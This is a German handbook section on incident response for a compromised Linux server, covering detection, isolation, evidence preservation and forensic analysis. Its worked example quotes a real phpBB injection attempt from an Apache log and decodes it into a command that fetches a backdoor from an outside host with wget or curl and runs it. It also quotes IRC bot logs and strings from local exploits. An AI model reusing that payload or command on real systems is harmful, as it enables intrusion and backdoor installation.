14.7. Umgang mit einem kompromittierten Rechner
Trotz bester Absichten und aller Sorgfalt bei der Erstellung der Sicherheitsregeln wird ein Administrator eines Tages einer feindlichen Übernahme gegenüberstehen. Dieser Abschnitt stellt einige Leitlinien darüber bereit, wie man im Falle dieser unglücklichen Umstände reagieren sollte.
14.7.1. Den Einbruch eines Crackers entdecken und sehen
Der erste Schritt einer Reaktion auf einen Einbruch besteht darin, eine derartige Tat überhaupt wahrzunehmen. Dies ist nicht selbstverständlich, vor allem nicht ohne eine angemessene Überwachungsinfrastruktur.
Einbrüche bleiben häufig unentdeckt, bis sie direkte Folgen für die legitimen Dienste haben, die auf dem Rechner untergebracht sind, wie zum Beispiel, dass Verbindungen langsamer werden, dass einige Benutzer sich nicht anmelden können, oder eine andere Fehlfunktion. Angesichts dieser Probleme muss sich der Administrator den Rechner genau ansehen und sorgfältig alles überprüfen, was nicht normal funktioniert. Dann entdeckt er normalerweise einen ungewöhnlichen Prozess, zum Beispiel einen namens apache statt des standardmäßigen /usr/sbin/apache2. Wenn wir diesem Beispiel weiter folgen, so sollte seine Prozesskennung notiert und mit /proc/pid/exe überprüft werden, um zu sehen, welches Programm diesen Prozess zur Zeit gerade ausführt:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Ein unter /var/tmp/ installiertes Programm, das als Webserver läuft? Kein Zweifel, der Rechner ist kompromittiert.
Dies ist nur ein Beispiel, aber auch zahlreiche andere Hinweise können den Administrator alarmieren:
eine Option eines Befehls, die nicht mehr funktioniert; die Version des Programms, in der der Befehl angeblich vorliegt, stimmt nicht mit der Version überein, die laut dpkg installiert sein sollte;
eine Eingabeaufforderung oder ein Begrüßungsbildschirm, die anzeigen, dass die vorherige Verbindung von einem unbekannten Server oder einem anderen Kontinent kam;
Fehler, die darauf zurückzuführen sind, dass die Partition /tmp/ voll ist, wobei sich dann herausstellt, dass sie voller illegaler Filmkopien ist;
und so weiter.
14.7.2. Den Server vom Netz nehmen
Außer in sehr ungewöhnlichen Fällen erfolgt ein Einbruch über das Netzwerk, und der Angreifer benötigt ein funktionierendes Netzwerk, um seine Ziele zu erreichen (auf vertrauliche Daten zuzugreifen, illegale Dateien zu tauschen, seine Identität durch die Verwendung des Rechners als Zwischenstation zu verbergen und so weiter). Dadurch dass der Rechner vom Netz genommen wird, wird es dem Angreifer unmöglich gemacht, diese Ziele zu erreichen, falls ihm dies bisher noch nicht gelungen ist.
Dies ist nur möglich, wenn der Server physisch zugänglich ist. Falls sich der Server im Datencenter eines Hosting-Anbieters am anderen Ende des Landes befindet, oder falls der Server aus einem anderen Grund nicht zugänglich ist, ist es gewöhnlich ratsam, als erstes einige wichtige Informationen zu sammeln (siehe
Abschnitt 14.7.3, „Alles aufbewahren, was als Beweis dienen könnte“,
Abschnitt 14.7.5, „Forensische Analyse“ und
Abschnitt 14.7.6, „Das Angriffsszenarium wiederherstellen“), und dann den Server so weit wie möglich zu isolieren, indem möglichst viele Dienste abgeschaltet werden (normalerweise alles außer
sshd). Diese Situation ist dennoch weiterhin gefährlich, da nicht ausgeschlossen werden kann, dass der Angreifer in gleicher Weise wie der Administrator SSH-Zugriff hat; dies macht es schwieriger, den Rechner zu „reinigen“.
14.7.3. Alles aufbewahren, was als Beweis dienen könnte
Um den Angriff verstehen oder um rechtliche Schritte gegen die Angreifer einleiten zu können, ist es erforderlich, Kopien aller wichtigen Elemente zu erstellen; hierzu gehört der Inhalt der Festplatte, eine Liste aller laufenden Prozesse und eine Liste aller offenen Verbindungen. Der Inhalt des RAM könnte auch verwendet werden, er wird in der Praxis aber selten benutzt.
Im Eifer des Gefechts sind Administratoren häufig versucht, auf dem kompromittierten Rechner zahlreiche Überprüfungen durchzuführen; dies ist jedoch gewöhnlich keine gute Idee. Jeder Befehl kann unterwandert sein und daher Beweisstücke löschen. Die Überprüfungen sollten auf ein Mindestmaß beschränkt werden (netstat -tupan für Netzwerkverbindungen, ps auxf für eine Liste der Prozesse, ls -alR /proc/[0-9]* für einige zusätzliche Informationen über laufende Programme), und jede durchgeführte Überprüfung sollte sorgfältig notiert werden.
Sobald die „dynamischen“ Elemente gespeichert sind, wird im nächsten Schritt ein vollständiges Abbild der Festplatte gespeichert. Die Erstellung eines derartigen Abbildes ist nicht möglich, solange sich das Dateisystem noch verändert. Deshalb muss es schreibgeschützt neu eingehängt werden. Die einfachste Lösung besteht häufig darin, den Server brutal anzuhalten (nachdem der Befehl sync ausgeführt wurde) und dann den Rechner mit einer Rettungs-CD neu zu starten. Jede Partition sollte mit einem Hilfsprogramm wie dd kopiert werden; diese Abbilder können zu einem anderen Server geschickt werden (zum Beispiel mit dem sehr praktischen Hilfsprogramm nc). Eine andere Möglichkeit ist eventuell noch einfacher: nehmen Sie einfach die Festplatte aus dem Rechner und ersetzen Sie sie durch eine neue, die neu formatiert und installiert werden kann.
Der Server sollte ohne eine vollständige Neuinstallation nicht wieder ans Netz gebracht werden. Falls die Kompromittierung schwerwiegend war (falls administrative Rechte erlangt worden sind), gibt es fast keinen anderen Weg, um sicher zu sein, dass wir von allem, was der Angreifer hinterlassen haben könnte (vor allem Hintertüren), befreit sind. Selbstverständlich müssen auch die jüngsten Sicherheitsaktualisierungen angewendet werden, um so die Sicherheitslücke zu schließen, die vom Angreifer benutzt wurde. Idealerweise sollte die Analyse des Angriffs diesen Angriffsvektor aufzeigen, so dass man sicher sein kann, dass man ihn behoben hat; sonst kann man nur hoffen, dass die Sicherheitslücke eine von denen war, die durch die Aktualisierungen beseitigt worden sind.
Es ist nicht immer einfach, einen entfernten Server neu zu installieren; hierzu kann es erforderlich sein, Unterstützung vom Hosting-Unternehmen zu bekommen, da nicht alle derartigen Unternehmen automatische Reinstallationssysteme anbieten. Es sollte darauf geachtet werden, den Rechner nicht von Sicherheitskopien zu reinstallieren, die nach dem Beginn der Kompromittierung gezogen worden sind. Idealerweise sollten nur Daten wiederhergestellt werden, wohingegen die eigentliche Software von den Installationsmedien neu installiert wird.
14.7.5. Forensische Analyse
Nun, da der Betrieb wiederhergestellt ist, ist es an der Zeit, sich die Abbilder des kompromittierten Systems genauer anzusehen, um den Angriffsvektor zu verstehen. Beim Einhängen dieser Abbilder sollte darauf geachtet werden, dass die Optionen ro,nodev,noexec,noatime verwendet werden, um zu verhindern, dass der Inhalt verändert wird (einschließlich der Zeitstempel für den Zugriff auf Dateien) oder versehentlich kompromittierte Programme ausgeführt werden.
Ein Angriffsszenarium zurückzuverfolgen bedeutet gewöhnlich, nach allem Ausschau zu halten, das verändert und ausgeführt wurde:
.bash_history-Dateien stellen häufig eine sehr interessante Lektüre dar;
das Gleiche gilt für Dateien, die vor kurzem erstellt, verändert oder angesteuert wurden;
der Befehl strings hilft dabei, vom Angreifer installierte Programme zu identifizieren, indem er Textstrings aus einer Binärdatei extrahiert;
die Protokolldateien in /var/log/ ermöglichen es oft, eine Chronologie der Ereignisse zu rekonstruieren;
Spezialprogramme ermöglichen es auch, den Inhalt von Dateien wiederherzustellen, die möglicherweise gelöscht worden sind, einschließlich der Protokolldateien, die Angreifer häufig löschen.
Einige dieser Vorgänge können durch spezielle Software einfacher gemacht werden. Insbesondere das Paket sleuthkit bietet viele weitere Hilfsprogramme zur Analyse eines Dateisystems. Ihre Benutzung wird durch die grafische Schnittstelle Autopsy Forensic Browser (im Paket autopsy) erleichtert.
14.7.6. Das Angriffsszenarium wiederherstellen
Alle während der Analyse gesammelten Elemente sollten wie die Teile eines Puzzles zueinander passen; die Erstellung der ersten verdächtigen Dateien steht häufig mit Protokollen in Zusammenhang, die den Einbruch bekunden. Ein Beispiel aus dem Alltag sollte deutlicher sein, als langes theoretisches Gerede.
Das folgende Protokoll ist ein Auzug aus einer Apache access.log-Datei:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Dieses Beispiel entspricht einer alten Sicherheitslücke in phpBB.
Das Entschlüsseln dieser langen URL führt zu der Erkenntnis, dass es dem Angreifer gelungen ist, einigen PHP-Code auszuführen, nämlich: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). In der Tat wurde eine bd-Datei in /tmp/ gefunden. Wenn man strings /mnt/tmp/bd ausführt, ergibt sich unter anderem der String PsychoPhobia Backdoor is starting.... Dies sieht wirklich nach einer Hintertür aus.
Einige Zeit später wurde dieser Zugang dazu benutzt, einen IRC-Bot herunterzuladen, zu installieren und auszuführen, der sich mit einem IRC-Untergrundnetzwerk verbunden hat. Der Bot konnte dann über dieses Protokoll gesteuert und angewiesen werden, Dateien zum Tausch herunterzuladen. Dieses Programm hat sogar seine eigene Programmdatei:
** 2004-11-29-19:50:15: NOTICE: :GAB!sex@Rizon-2EDFBC28.pool8250.interbusiness.it NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from GAB!SEX@RIZON-2EDFBC28.POOL8250.INTERBUSINESS.IT
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Diese Spuren zeigen, dass über die IP-Adresse 82.50.72.202 zwei Videodateien auf dem Server gespeichert wurden.
Gleichzeitig hat der Angreifer einige zusätzliche Dateien heruntergeladen: /tmp/pt und /tmp/loginx. Lässt man diese Dateien durch strings laufen, so ergeben sich Strings wie Shellcode placed at 0x%08lx und Now wait for suid shell.... Diese sehen wie Programme aus, die lokale Schwachstellen ausnutzen, um Administratorrechte zu erlangen. Haben sie ihr Ziel erreicht? In diesem Fall vermutlich nicht, da anscheinend keine Datei nach dem ursprünglichen Einbruch verändert worden ist.
In diesem Beispiel wurde der gesamte Einbruch rekonstruiert, und es kann daraus geschlossen werden, dass der Angreifer in der Lage war, das kompromittierte System etwa drei Tage lang zu nutzen; aber das wichtigste Element der Analyse ist, dass die Schwachstelle identifiziert worden ist, und dass der Administrator sicher sein kann, dass die neue Installation diese Schwachstelle tatsächlich behebt.
